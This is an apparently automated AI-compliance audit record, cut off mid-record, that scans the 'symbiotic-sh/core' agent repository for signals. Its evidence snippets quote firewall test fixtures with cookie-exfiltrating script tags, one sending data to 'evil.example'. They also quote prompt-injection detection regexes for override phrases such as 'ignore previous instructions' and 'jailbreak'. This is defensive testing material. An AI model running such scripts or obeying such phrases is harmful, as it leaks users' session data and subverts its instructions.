{"auditId":"aud_01KS3EG5ZWV15NN8HTGYJZ","status":"completed","startedAt":"2026-05-20T19:41:16.157Z","updatedAt":"2026-05-20T19:41:46.439Z","progressNote":"Risk class: high — running clause checkers","report":{"auditId":"aud_01KS3EG5ZWV15NN8HTGYJZ","source":{"kind":"repo","owner":"symbiotic-sh","repo":"core"},"input":{"auditId":"aud_01KS3EG5ZWV15NN8HTGYJZ","source":{"kind":"repo","owner":"symbiotic-sh","repo":"core"},"repoUrl":"https://github.com/symbiotic-sh/core","regulations":["eu-ai-act-2024-08","nist-ai-rmf-1.0","gdpr-2016","iso-42001-2023"]},"fetch":{"repoUrl":"https://github.com/symbiotic-sh/core","owner":"symbiotic-sh","repo":"core","ref":"22fb7fb082334c5a9c9fc3116f9e9e6a399e96ce","commitSha":"22fb7fb082334c5a9c9fc3116f9e9e6a399e96ce","worktreeDir":"/tmp/ai-auditor/aud_01KS3EG5ZWV15NN8HTGYJZ","fileCount":631,"totalBytes":10767164,"languages":{"Markdown":1790134,"Rust":8531160,"HTML":167,"JSON":4246,"Shell":144716,"YAML":5069,"TypeScript":37242},"inventory":{"hasReadme":true,"hasLicense":true,"hasModelCard":false,"hasDataCard":false,"hasRiskRegister":false,"hasThreatModel":false,"hasSecurityMd":false,"hasPrivacyMd":false,"hasCodeOfConduct":false,"hasContributing":false,"hasCiWorkflows":false,"hasEvalDir":false,"hasTestsDir":true,"governanceDocFiles":["LICENSE.md","README.md","config/README.md","crates/README.md","crates/symbiotic-agents/templates/external-repo-scaffolds/docs-starter/README.md","docs/architecture/README.md","scripts/auth/README.md","services/README.md","tests/README.md"],"configFiles":["Cargo.toml"]},"fetchedAt":"2026-05-20T19:41:18.541Z"},"recon":{"signals":{"agent_framework":{"signal":"agent_framework","fired":false,"strength":0,"evidence":[]},"model_usage":{"signal":"model_usage","fired":true,"strength":1,"evidence":[{"file":"config/providers.toml","lines":[22,22],"snippet":"nthropic\" models = [\"claude-sonnet-4-20250514\"] [providers.openrouter] class = \"aggregator\" type = \"openai-compat\" url = \"https://openroute","rule":"model_string_anthropic","detail":"claude-sonnet-4-20250514"},{"file":"config/providers.toml","lines":[17,17],"snippet":"= \"cloud\" models = [\"gpt-4o-mini\", \"text-embedding-3-small\", \"dall-e-3\"] [providers.anthropic] class = \"cloud\" type = \"anthropic\" models =","rule":"model_string_openai","detail":"gpt-4o-mini"},{"file":"config/providers.toml","lines":[13,13],"snippet":"= \"none\" models = [\"qwen3.5\", \"nomic-embed-text\"] [providers.openai] class = \"cloud\" models = [\"gpt-4o-mini\", \"text-embedding-3-small\", \"d","rule":"model_string_llama","detail":"qwen3.5"},{"file":"config/providers.toml","lines":[34,34],"snippet":"i/api/v1\" models = [\"llama-3.3-70b\"] [providers.higgsfield] class = \"cloud\" capabilities = [\"video_generation\", \"image_generation\"] [provi","rule":"model_string_llama","detail":"llama-3.3-70b"},{"file":"crates/symbiotic-agents/src/council.rs","lines":[39,39],"snippet":"er (e.g., \"Claude\", \"Qwen-Local\"). pub name: String, /// Role/perspective this member should adopt (e.g., \"security reviewer\", /","rule":"model_string_llama","detail":"Qwen-Local"},{"file":"crates/symbiotic-agents/src/council.rs","lines":[77,77],"snippet":"name: \"Qwen-Local\".to_string(), role: \"implementation reviewer\".to_string(), system_co","rule":"model_string_llama","detail":"Qwen-Local"},{"file":"crates/symbiotic-agents/src/council.rs","lines":[670,670],"snippet":"ses[1].member_name, \"Qwen-Local\"); assert!(verdict.synthesis.contains(\"Combined approach\")); assert!((verdict.confidence - 0","rule":"model_string_llama","detail":"Qwen-Local"},{"file":"crates/symbiotic-agents/src/council.rs","lines":[843,843],"snippet":"member_name: \"Qwen\".to_string(), role: \"reviewer\".to_string(), analysis: \"Analysis from Qwen.","rule":"model_string_llama","detail":"Qwen"},{"file":"crates/symbiotic-agents/src/council.rs","lines":[860,860],"snippet":"t!(display.contains(\"Qwen\")); } // -- Prompt construction -- #[test] fn member_prompt_includes_role_and_context() {","rule":"model_string_llama","detail":"Qwen"},{"file":"crates/symbiotic-agents/src/llm.rs","lines":[22,22],"snippet":"model: \"qwen3.5\".to_string(), max_tokens: 40_000, } } } /// Response from the Ollama chat API. #[deriv","rule":"model_string_llama","detail":"qwen3.5"},{"file":"crates/symbiotic-agents/src/llm.rs","lines":[123,123],"snippet":"t_eq!(config.model, \"qwen3.5\"); assert_eq!(config.max_tokens, 40_000); } #[test] fn chat_message_serializes() {","rule":"model_string_llama","detail":"qwen3.5"},{"file":"crates/symbiotic-agents/src/llm_runtime.rs","lines":[37,37],"snippet":"chat_model: \"qwen3.5\".to_string(), embed_model: \"nomic-embed-text\".to_string(), timeout: DEFAULT_TIMEOUT,","rule":"model_string_llama","detail":"qwen3.5"},{"file":"crates/symbiotic-agents/src/llm_runtime.rs","lines":[349,349],"snippet":"3.5:latest\" matches \"qwen3.5\" fn model_name_matches(installed: &str, requested: &str) -> bool { if installed == requested { retu","rule":"model_string_llama","detail":"qwen3.5"},{"file":"crates/symbiotic-agents/src/llm_runtime.rs","lines":[354,354],"snippet":"3.5:latest\" matches \"qwen3.5\" if let Some(base) = installed.split(':').next() { if base == requested { return true;","rule":"model_string_llama","detail":"qwen3.5"},{"file":"crates/symbiotic-agents/src/llm_runtime.rs","lines":[360,360],"snippet":"} } // \"qwen3.5\" matches \"qwen3.5:latest\" if let Some(base) = requested.split(':').next() { if base == installed ||","rule":"model_string_llama","detail":"qwen3.5"},{"file":"crates/symbiotic-agents/src/llm_runtime.rs","lines":[377,377],"snippet":"(model_name_matches(\"qwen3.5\", \"qwen3.5\")); } #[test] fn model_name_matches_with_tag() { assert!(model_name_matches(\"qw","rule":"model_string_llama","detail":"qwen3.5"},{"file":"crates/symbiotic-agents/src/pipeline/backend_claude.rs","lines":[24,24],"snippet":"el to use (default: \"claude-sonnet-4-6\"). pub model: String, /// Maximum runtime in seconds before kill. pub timeout_secs: u64,","rule":"model_string_anthropic","detail":"claude-sonnet-4-6"},{"file":"crates/symbiotic-agents/src/pipeline/backend_claude.rs","lines":[36,36],"snippet":"model: \"claude-sonnet-4-6\".to_string(), timeout_secs: 300, system_prompt: None, } } } ///","rule":"model_string_anthropic","detail":"claude-sonnet-4-6"},{"file":"crates/symbiotic-agents/src/pipeline/backend_claude.rs","lines":[261,261],"snippet":"model: \"claude-sonnet-4-6\".to_string(), timeout_secs: 60, system_prompt: None, } } fn","rule":"model_string_anthropic","detail":"claude-sonnet-4-6"},{"file":"crates/symbiotic-agents/src/pipeline/backend_claude.rs","lines":[301,301],"snippet":"t_eq!(config.model, \"claude-sonnet-4-6\"); assert_eq!(config.timeout_secs, 300); assert!(config.system_prompt.is_none());","rule":"model_string_anthropic","detail":"claude-sonnet-4-6"},{"file":"crates/symbiotic-agents/src/pipeline/backend_claude.rs","lines":[310,310],"snippet":"model: \"claude-opus-4-6\".to_string(), timeout_secs: 600, system_prompt: Some(\"You are a coding agent.\".","rule":"model_string_anthropic","detail":"claude-opus-4-6"},{"file":"crates/symbiotic-agents/src/pipeline/backend_team.rs","lines":[31,31],"snippet":"m members. Default: \"claude-sonnet-4-6\". pub model: String, /// Maximum runtime per member in seconds. Default: 600. pub member_","rule":"model_string_anthropic","detail":"claude-sonnet-4-6"},{"file":"crates/symbiotic-agents/src/pipeline/backend_team.rs","lines":[44,44],"snippet":"model: \"claude-sonnet-4-6\".to_string(), member_timeout_secs: 600, auto_merge: false, } } }","rule":"model_string_anthropic","detail":"claude-sonnet-4-6"},{"file":"crates/symbiotic-agents/src/pipeline/backend_team.rs","lines":[813,813],"snippet":"model: \"claude-sonnet-4-6\".to_string(), member_timeout_secs: 60, auto_merge: false, } }","rule":"model_string_anthropic","detail":"claude-sonnet-4-6"},{"file":"crates/symbiotic-agents/src/pipeline/backend_team.rs","lines":[840,840],"snippet":"model: Some(\"claude-sonnet-4-6\".to_string()), member_timeout_secs: 600, }, spawned_agents: v","rule":"model_string_anthropic","detail":"claude-sonnet-4-6"}],"meta":{"models":{}}},"logging_hooks":{"signal":"logging_hooks","fired":true,"strength":0.5204119982655925,"evidence":[{"file":"scripts/auth/test-server/server.ts","lines":[121,121],"snippet":"e server is ready console.log(`READY:${port}`); });","rule":"log_at_tool_boundary"},{"file":"services/credential-gateway/src/script_registry.rs","lines":[353,353],"snippet":"::fs::write(&path, \"console.log('ok')\\n\").expect(\"write script\"); let mut reg = ScriptRegistry::empty(); reg.register(\"gith","rule":"log_at_tool_boundary"}]},"oversight_hooks":{"signal":"oversight_hooks","fired":true,"strength":0.640823996531185,"evidence":[{"file":"scripts/live-readiness.sh","lines":[98,98],"snippet":"print(\"\") raise SystemExit(0) try: data = json.loads(payload) except Exception: print(\"\") raise SystemExit(0) value = data f","rule":"kill_switch"},{"file":"scripts/live-readiness.sh","lines":[103,103],"snippet":"print(\"\") raise SystemExit(0) value = data for part in field.split('.'): if isinstance(value, dict): value = value.get(part)","rule":"kill_switch"},{"file":"scripts/smoke-mvp.sh","lines":[20,20],"snippet":"print(\"\") raise SystemExit(0) try: data = json.loads(payload) except Exception: print(\"\") raise SystemExit(0) value = data f","rule":"kill_switch"},{"file":"scripts/smoke-mvp.sh","lines":[25,25],"snippet":"print(\"\") raise SystemExit(0) value = data for part in sys.argv[1].split('.'): if isinstance(value, dict): value = value.get","rule":"kill_switch"}]},"eval_artefacts":{"signal":"eval_artefacts","fired":true,"strength":0.4,"evidence":[{"file":"tests/","rule":"eval_or_test_dir_present"}]},"governance_docs":{"signal":"governance_docs","fired":true,"strength":0.78169700377573,"evidence":[{"file":"LICENSE.md","rule":"governance_doc_present"},{"file":"README.md","rule":"governance_doc_present"},{"file":"config/README.md","rule":"governance_doc_present"},{"file":"crates/README.md","rule":"governance_doc_present"},{"file":"crates/symbiotic-agents/templates/external-repo-scaffolds/docs-starter/README.md","rule":"governance_doc_present"},{"file":"docs/architecture/README.md","rule":"governance_doc_present"},{"file":"scripts/auth/README.md","rule":"governance_doc_present"},{"file":"services/README.md","rule":"governance_doc_present"},{"file":"tests/README.md","rule":"governance_doc_present"}]},"cybersec_hooks":{"signal":"cybersec_hooks","fired":true,"strength":1,"evidence":[{"file":"crates/symbiotic-firewall/src/heuristics/delimiters.rs","lines":[3,3],"snippet":"detection. //! //! Prompt-injection attacks often lean on **delimiter confusion** — nesting //! code fences, mixing Markdown and XML, stuff","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/heuristics/injection_phrases.rs","lines":[1,1],"snippet":"//! Classic prompt-injection phrase + role-token detection. //! //! Rules here are deliberately conservative — every regex is review","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/heuristics/injection_phrases.rs","lines":[81,81],"snippet":"\\b(developer\\s+mode|jailbreak|dan\\s+mode|sudo\\s+mode)\\b\")); static NEW_PERSONA: Lazy<Regex> = Lazy::new(|| ci(r\"\\byour\\s+(new|real|true","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/heuristics/mod.rs","lines":[1,1],"snippet":"//! Prompt-injection heuristics used by Stage B. //! //! All heuristics return a `Vec<HeuristicHit>`. Stage B combines the h","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/heuristics/mod.rs","lines":[10,10],"snippet":"r the classic //! prompt-injection surface (\"ignore previous instructions\", role tokens, //! tool-call impersonation). //! - [`delimiter","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/lib.rs","lines":[10,10],"snippet":"n) + Stage B //! (prompt-injection heuristics) + scan cache ([`stages`], [`sanitize`], //! [`heuristics`], [`cache`]). //! - **T132 §04*","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/lib.rs","lines":[28,28],"snippet":"- [`heuristics`] — prompt-injection pattern rules (Stage B). //! - [`llm_gateway`] — trait the firewall consumes for Stage C calls. //! - [","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/llm_gateway.rs","lines":[64,64],"snippet":"per /// design §7 (`RateLimited` / `Unavailable` → `SUSPICIOUS`). We intentionally /// keep this enum small and typed so the mapping is exha","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/llm_gateway.rs","lines":[72,72],"snippet":"limited: {0}\")] RateLimited(String), /// Model or runtime is temporarily unavailable (health check failing, /// circuit breaker","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/llm_gateway.rs","lines":[150,150],"snippet":"rr(LlmGatewayError::RateLimited(\"quota exceeded\".into())), }; let err = gw .invoke_fast_tier(FastTierRequest {","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/llm_gateway.rs","lines":[159,159],"snippet":"r, LlmGatewayError::RateLimited(_))); } }","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/stages/stage_b.rs","lines":[1,1],"snippet":"//! Stage B — prompt-injection heuristics (design §3.2). //! //! Stage B runs deterministic pattern rules over the cleaned payload and","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/stages/stage_c.rs","lines":[25,25],"snippet":"//! //! - Gateway `RateLimited` / `Unavailable` → `SUSPICIOUS` fallback with a //! 5 min cache TTL (design §7). //! - Malformed model res","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/stages/stage_c.rs","lines":[188,188],"snippet":"LlmGatewayError::RateLimited(reason) => { format!(\"fast-tier gateway rate-limited: {reason}\") } LlmGatewayErr","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/stages/stage_c.rs","lines":[518,518],"snippet":":test] async fn rate_limit_falls_back_to_suspicious() { let gateway = FakeGateway { response: Err(LlmGatewayError::R","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/stages/stage_c.rs","lines":[520,520],"snippet":"rr(LlmGatewayError::RateLimited(\"quota\".into())), }; let cache = StageCCache::default_capacity(); let sb = stage_b(V","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/stages/stage_c.rs","lines":[490,490],"snippet":"\"MALICIOUS Explicit jailbreak payload.\".into(), latency_ms: 9, }), }; let cache = StageCCache::d","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/stages/stage_c.rs","lines":[498,498],"snippet":"tch\"), \"jailbreak payload\", TrustLevel::Low, sb, &StageCConfig::default(), &gate","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/stages/stage_c_cache.rs","lines":[167,167],"snippet":"e gateway returned `RateLimited` / `Unavailable` and /// Stage C fell back to `SUSPICIOUS`. The shorter TTL lets a recovered /// gat","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/stages/stage_c_prompt.rs","lines":[23,23],"snippet":"ether it contains a prompt injection attempt,\\njailbreak, or attempt to manipulate the agent into unauthorized actions.\\n\\nRespond with exac","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/stages/stage_c_prompt.rs","lines":[39,39],"snippet":"xplicit injection / jailbreak attempt. Maps to /// `Verdict::Quarantined` with decrement-trust-level side effect. Malicious, } impl","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/stages/stage_c_prompt.rs","lines":[225,225],"snippet":"\"malicious Explicit jailbreak payload.\"); assert_eq!(out.label, StageCLabel::Malicious); assert!(out.rationale.contains(\"jai","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/stages/stage_c_prompt.rs","lines":[227,227],"snippet":"rationale.contains(\"jailbreak\")); } #[test] fn parses_verdict_alone_uses_placeholder() { let out = parse_response(\"SAFE","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/stages/stage_c_prompt.rs","lines":[284,284],"snippet":"\"MALICIOUS targeted jailbreak via SAFE-sounding framing.\"); assert_eq!(out.label, StageCLabel::Malicious); } #[test] fn","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/stages/stage_d.rs","lines":[5,5],"snippet":"structural and //! prompt-injection scans; Stage D additionally verifies that the entry //! does not contain capability references the *con","rule":"prompt_injection_defence"}]},"provenance_hooks":{"signal":"provenance_hooks","fired":false,"strength":0,"evidence":[]},"data_io":{"signal":"data_io","fired":true,"strength":0.9204119982655925,"evidence":[{"file":"crates/symbiotic-firewall/tests/fixtures/stage_a_fail/script_tag.html","lines":[1,1],"snippet":"<p>Hello</p><script>fetch('/exfil?'+document.cookie)</script></body></html>","rule":"http_external_io"},{"file":"crates/symbiotic-intake/src/lib.rs","lines":[114,114],"snippet":"end + Sync { fn fetch(&self, url: &Url) -> Result<FetchedContent>; } pub trait IntakeStore: Send + Sync { fn exists(&self, idempote","rule":"http_external_io"},{"file":"crates/symbiotic-intake/src/lib.rs","lines":[674,674],"snippet":"match self.fetcher.fetch(url) { Ok(content) => { if content.markdown.len() > MAX_CONTEN","rule":"http_external_io"},{"file":"crates/symbiotic-intake/src/lib.rs","lines":[1158,1158],"snippet":"ent) = self.fetcher.fetch(url) { if content.markdown.len() <= MAX_CONTENT_BYTES { fetche","rule":"http_external_io"},{"file":"crates/symbiotic-intake/src/lib.rs","lines":[1528,1528],"snippet":"etcher { fn fetch(&self, url: &Url) -> Result<FetchedContent> { let host = url .host_str()","rule":"http_external_io"},{"file":"crates/symbiotic-intake/src/lib.rs","lines":[1882,1882],"snippet":"er { fn fetch(&self, _url: &Url) -> Result<FetchedContent> { Ok(FetchedContent { markdown: \"","rule":"http_external_io"},{"file":"scripts/auth/_generic.ts","lines":[11,11],"snippet":"omium, Page } from 'playwright'; interface ScriptInput { domain: string; username: string; password: string; totp_code?: string; }","rule":"scraping_pattern"},{"file":"scripts/auth/github.com.ts","lines":[10,10],"snippet":"{ chromium } from 'playwright'; interface ScriptInput { domain: string; username: string; password: string; totp_code?: string; }","rule":"scraping_pattern"},{"file":"scripts/auth/google.com.ts","lines":[15,15],"snippet":"omium, Page } from 'playwright'; interface ScriptInput { domain: string; username: string; password: string; totp_code?: string; }","rule":"scraping_pattern"},{"file":"scripts/auth/localhost.ts","lines":[14,14],"snippet":"{ chromium } from 'playwright'; interface ScriptInput { domain: string; username: string; password: string; totp_code?: string; }","rule":"scraping_pattern"},{"file":"scripts/auth/package.json","lines":[10,10],"snippet":"pendencies\": { \"playwright\": \"^1.42.0\" }, \"devDependencies\": { \"ts-node\": \"^10.9.0\", \"typescript\": \"^5.4.0\" } }","rule":"scraping_pattern"},{"file":"scripts/auth/playwright.config.ts","lines":[1,1],"snippet":"efineConfig } from 'playwright/test'; export default defineConfig({ timeout: 60_000, use: { headless: true, browserName: 'chrom","rule":"scraping_pattern"},{"file":"scripts/auth/x.com.ts","lines":[10,10],"snippet":"{ chromium } from 'playwright'; interface ScriptInput { domain: string; username: string; password: string; totp_code?: string; }","rule":"scraping_pattern"},{"file":"scripts/demo-seed.sh","lines":[30,30],"snippet":"e, with browser UA. fetch() { local url=\"$1\" dest=\"$2\" curl -sL -A \"Mozilla/5.0 (SymbioticSeed)\" \"$url\" -o \"$dest\" } # Helper: stri","rule":"http_external_io"},{"file":"services/symbiotic-daemon/src/x_intake.rs","lines":[1065,1065],"snippet":"monFetcher { fn fetch(&self, url: &Url) -> Result<FetchedContent> { if TwitterFetcher::supports(url) { return self.t","rule":"http_external_io"},{"file":"services/symbiotic-daemon/src/x_intake.rs","lines":[1076,1076],"snippet":"url => CurlFetcher::fetch(url), } } } pub(crate) struct CurlFetcher; impl CurlFetcher { pub(crate) fn is_available() -> bo","rule":"http_external_io"},{"file":"services/symbiotic-daemon/src/x_intake.rs","lines":[1092,1092],"snippet":"pub(crate) fn fetch(url: &Url) -> Result<FetchedContent> { if !matches!(url.scheme(), \"http\" | \"https\") { return E","rule":"http_external_io"},{"file":"services/symbiotic-daemon/tests/ingest_firewall_integration.rs","lines":[42,42],"snippet":"nedFetcher { fn fetch(&self, _url: &Url) -> Result<FetchedContent> { Ok(FetchedContent { markdown: self.body.clone()","rule":"http_external_io"},{"file":"services/symbiotic-daemon/tests/ingest_firewall_integration.rs","lines":[222,222],"snippet":"<script>fetch('https://evil.example?leak=1')</script>\"; let pipeline = build_pipeline(body, archive.clone(), &kb); let","rule":"http_external_io"},{"file":"tests/integration/tests/intake_to_recall.rs","lines":[29,29],"snippet":"ockFetcher { fn fetch(&self, url: &Url) -> Result<FetchedContent> { Ok(FetchedContent { markdown: format!(\"# Article","rule":"http_external_io"}]},"pii_signals":{"signal":"pii_signals","fired":true,"strength":1,"evidence":[{"file":"crates/symbiotic-agent-runner/src/tools/git.rs","lines":[96,96],"snippet":"gs([\"config\", \"user.email\", \"agent@symbiotic.sh\"]) .current_dir(&target_path) .output() .awa","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[1272,1272],"snippet":"com\"), \"email should be redacted from output, got: {}\", result.output ); assert!( result","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[1276,1276],"snippet":"contains(\"[redacted-email]\"), \"output should contain redaction placeholder, got: {}\", result.output ); }","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[1330,1330],"snippet":"\": true, \"result\": \"Email user@example.com, call 555-123-4567, server 10.0.0.1\"}\"#.to_string(), ]); let tools: Vec<&dyn Tool","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[1341,1341],"snippet":"contains(\"[redacted-email]\")); assert!(result.output.contains(\"[redacted-phone]\")); assert!(result.output.contains(\"[redacte","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[1364,1364],"snippet":"com\"), \"email should NOT be redacted when redact_output=false, got: {}\", result.output ); } #[tokio","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[18,18],"snippet":"symbiotic_context::redact_pii; /// Maximum number of iterations before the loop terminates. const MAX_ITERATIONS: usize = 10; /// Maximum","rule":"pii_redaction_present"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[79,79],"snippet":"/// Whether to redact PII from the agent's final output before returning. /// Defaults to `true`. Set to `false` for debugging or t","rule":"pii_redaction_present"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[81,81],"snippet":"scenarios. pub redact_output: bool, } impl Default for AgentExecConfig { fn default() -> Self { Self { system_","rule":"pii_redaction_present"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[93,93],"snippet":": None, redact_output: true, } } } /// Conditionally apply PII redaction to an execution result's output. fn maybe_","rule":"pii_redaction_present"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[98,98],"snippet":"itionally apply PII redaction to an execution result's output. fn maybe_redact(mut result: ExecutionResult, redact: bool) -> ExecutionResult","rule":"pii_redaction_present"},{"file":"crates/symbiotic-agents/src/pipeline/backend_native.rs","lines":[42,42],"snippet":"name)), redact_output: true, }; let goal = &phase.description; let tool_refs: Vec<&dyn Tool> = self.too","rule":"pii_redaction_present"},{"file":"crates/symbiotic-agents/src/pipeline/classifier.rs","lines":[360,360],"snippet":"on: \"Send a summary email\".to_string(), domains: vec![\"email\".to_string()], phases: vec![\"execute\".to_string()],","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/pipeline/classifier.rs","lines":[361,361],"snippet":"domains: vec![\"email\".to_string()], phases: vec![\"execute\".to_string()], has_known_template: true,","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/pipeline/mod.rs","lines":[274,274],"snippet":"on: \"Send a summary email\".to_string(), source: GoalSource::Api { client_id: \"test\".to_string(), },","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/pipeline/mod.rs","lines":[280,280],"snippet":"on: \"Send a summary email\".to_string(), domains: vec![\"email\".to_string()], phases: vec![\"execute\".to_string","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/pipeline/mod.rs","lines":[281,281],"snippet":"domains: vec![\"email\".to_string()], phases: vec![\"execute\".to_string()], has_known_template: true,","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/source_archeology/date.rs","lines":[351,351],"snippet":".ok()?; let email = parts.next().unwrap_or(\"\"); if !is_bot_email(email) { let delta = (now_secs - ts).max(0);","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/source_archeology/date.rs","lines":[352,352],"snippet":"if !is_bot_email(email) { let delta = (now_secs - ts).max(0); return Some((delta / (24 * 60 * 60)) as u32);","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/source_archeology/date.rs","lines":[382,382],"snippet":"} fn is_bot_email(email: &str) -> bool { let e = email.to_ascii_lowercase(); e.contains(\"dependabot\") || e.contains(\"renov","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/source_archeology/date.rs","lines":[383,383],"snippet":"bool { let e = email.to_ascii_lowercase(); e.contains(\"dependabot\") || e.contains(\"renovate\") || e.starts_with(\"bot","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/source_archeology/fixtures.rs","lines":[52,52],"snippet":", &[\"config\", \"user.email\", \"fixture@example.com\"])?; let author = Author { repo: path.to_path_buf(), }; recipe(path, &","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/source_archeology/fixtures.rs","lines":[72,72],"snippet":"(bot detection uses email-domain heuristics). pub fn commit_file( &self, rel: &str, contents: &str, days","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/source_archeology/fixtures.rs","lines":[94,94],"snippet":"&format!(\"user.email={author_email}\"), \"-c\", \"user.name=Fixture Author\", \"commit\",","rule":"pii_keywords"},{"file":"crates/symbiotic-agents/src/source_archeology/orchestrator.rs","lines":[295,295],"snippet":"n(&[\"config\", \"user.email\", \"t@example.com\"]); std::fs::write(root.join(\"README.md\"), \"# Flux\\n\").unwrap(); std::fs::write(r","rule":"pii_keywords"}]},"bio_health_signals":{"signal":"bio_health_signals","fired":true,"strength":1,"evidence":[{"file":"crates/symbiotic-agents/src/lib.rs","lines":[29,29],"snippet":"er, DiagnoseConfig, Diagnosis, DiagnosisClassifier, DiagnosisProjection, DiagnosisVerdict, ExcavationReport, Finding, FindingAction,","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/archeology_types.rs","lines":[63,63],"snippet":"// ── Staleness + diagnosis ────────────────────────────────────────────── /// Per-artifact staleness classification (Stage 2 output row)","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/archeology_types.rs","lines":[98,98],"snippet":"ialize)] pub struct Diagnosis { pub verdict: DiagnosisVerdict, /// Confidence in [0.0, 1.0]. Below `DiagnoseConfig::confidence_floor","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/diagnose.rs","lines":[19,19],"snippet":":archeology_types::{Diagnosis, DiagnosisVerdict}; use super::date::StalenessReport; use super::excavate::{ExcavationReport, ObservationCateg","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/diagnose.rs","lines":[203,203],"snippet":"\"LLM diagnosis classifier failed twice: {first_err}; then: {second_err}\" )); }","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/diagnose.rs","lines":[224,224],"snippet":"Config, ) -> Result<Diagnosis> { let projection = build_projection(excavation, staleness); let raw = match classifier.classify(&proj","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/diagnose.rs","lines":[229,229],"snippet":"return Ok(Diagnosis { verdict: DiagnosisVerdict::NeedsOperatorInput, confidence: 0.0,","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/diagnose.rs","lines":[240,240],"snippet":"{ return Ok(Diagnosis { verdict: DiagnosisVerdict::NeedsOperatorInput, confidence: raw.confidence,","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/handoff.rs","lines":[16,16],"snippet":":{ArcheologyTarget, Diagnosis}; use super::date::StalenessReport; use super::excavate::ExcavationReport; use super::scaffold::ProjectContext","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/handoff.rs","lines":[50,50],"snippet":"nessReport, pub diagnosis: &'a Diagnosis, pub project: &'a ProjectContext, pub config: HandoffConfig, } // ── Config (per docs/","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/handoff.rs","lines":[50,50],"snippet":"pub diagnosis: &'a Diagnosis, pub project: &'a ProjectContext, pub config: HandoffConfig, } // ── Config (per docs/design/agent-tu","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/handoff.rs","lines":[114,114],"snippet":"}, \"diagnosis\": { \"verdict\": input.diagnosis.verdict, \"confidence\": input.diagnosis.confiden","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/handoff.rs","lines":[115,115],"snippet":"\"verdict\": input.diagnosis.verdict, \"confidence\": input.diagnosis.confidence, \"reasoning\": input.diagnosi","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/mod.rs","lines":[40,40],"snippet":"gyTarget, Autonomy, Diagnosis, DiagnosisVerdict, Finding, FindingAction, FindingDisposition, FindingSeverity, FindingSourceStage, GoalAl","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/mod.rs","lines":[81,81],"snippet":"Classifier, pub diagnosis: &'a dyn DiagnosisClassifier, pub reconciler: &'a dyn Reconciler, pub scaffolder: &'a dyn Scaffolder,","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/mod.rs","lines":[165,165],"snippet":"rt, ) -> Result<Diagnosis> { diagnose::run( excavation, staleness, self.classifiers.diagnosi","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/mod.rs","lines":[169,169],"snippet":"self.classifiers.diagnosis, self.configs.diagnose, ) .await } /// Stage 4a — Reconcile. Produces pat","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/mod.rs","lines":[204,204],"snippet":"nessReport, diagnosis: &Diagnosis, project: &ProjectContext, ) -> Result<Vec<Finding>> { let input = 